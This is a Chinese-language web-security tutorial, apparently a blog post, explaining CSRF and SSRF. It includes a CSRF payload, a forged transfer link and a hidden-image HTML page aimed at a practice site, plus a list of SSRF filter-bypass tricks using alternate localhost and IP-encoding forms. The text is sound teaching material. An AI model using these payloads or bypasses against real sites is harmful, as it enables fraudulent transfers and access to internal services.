CSRF漏洞
CSRF(cross-sire request forgery,跨站请求伪造),攻击者通过恶意url欺骗用户点击,以用户的会话状态执行恶意操作,如更换密码,发送邮件等。
形成的原因是没有验证请求的可靠性,
构建个敏感的请求,引导管理员点击,管理员会用自己的身份去请求,照成CSRF攻击
当浏览器存有A网站的用户登录状态时,用户访问了非法B网站,B网站对A网站发起了修改密码的请求,该请求会以浏览器已登录的状态发起,所以修改成功。
CSRF例子
测试网站
假设用户登录了A网站,A网站存在转账功能。
我们事先测试,发现转账请求为:http://www.nanhack.com/payload/xss/csrf1.php?name=用户&money=金额
那么我们构建一个转账给自己的请求链接:http://www.nanhack.com/payload/xss/csrf1.php?name=pingc&money=1000
引导用户点击该链接,或者制作一个恶意页面,页面内构建代码访问这个转账请求,欺骗用户访问页面
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>你的账户钱少了吧</title>
<!-- <script>alert('你的账户钱少了吧!!😳');</script> -->
</head>
<body>
<img src="http://www.nanhack.com/payload/xss/csrf1.php?name=pingc&money=1000">
<!-- <a href="http://www.nanhack.com/user.php">返回用户管理</a> -->
</body>
</html>
访问后可以看到金额减少了
SSRF漏洞
SSRF(Server-Side Request Forgery,服务器端请求伪造),简单来说就是可以以服务端的身份发起url请求,获取到客户端无法获取到的数据。
网站接受url为参数,且会访问该url并返回内容时,如果没对参数做过滤,就会导致SSRF漏洞。
我们正常是访问不到网站所在的内网服务,但网站存在SSRF时,我们通过传参http://127.0.0.1:8080,就可以访问到内网127.0.0.1:8080的服务。
形成的原因就是没有对URL进行过滤,导致可以输入任意url。
SSRF例子
如果服务器有一个访问网络图片或地址的功能,那么填http://127.0.0.1等本地的地址,就会上传访问服务器本地的文件信息。
没找到适合演示的,就先这样。
SSRF过滤绕过
必须包含指定url
http://www.baidu.com@127.0.0.1与http://127.0.0.1 请求是相同的
其他写法
http://127.0.0.1
http://localhost
http://127.255.255.254
127.0.0.1 - 127.255.255.254
http://[::1]
http://[::ffff:7f00:1]
http://[::ffff:127.0.0.1]
http://127.1
http://127.0.1
http://127。0。0。1
http://0:80
进制转换
192.168.0.1
(1)、8进制格式:0300.0250.0.1
(2)、16进制格式:0xC0.0xA8.0.1
(3)、10进制整数格式:3232235521
(4)、16进制整数格式:0xC0A80001
整数或DWORD
利用短网址(跳转)
评论区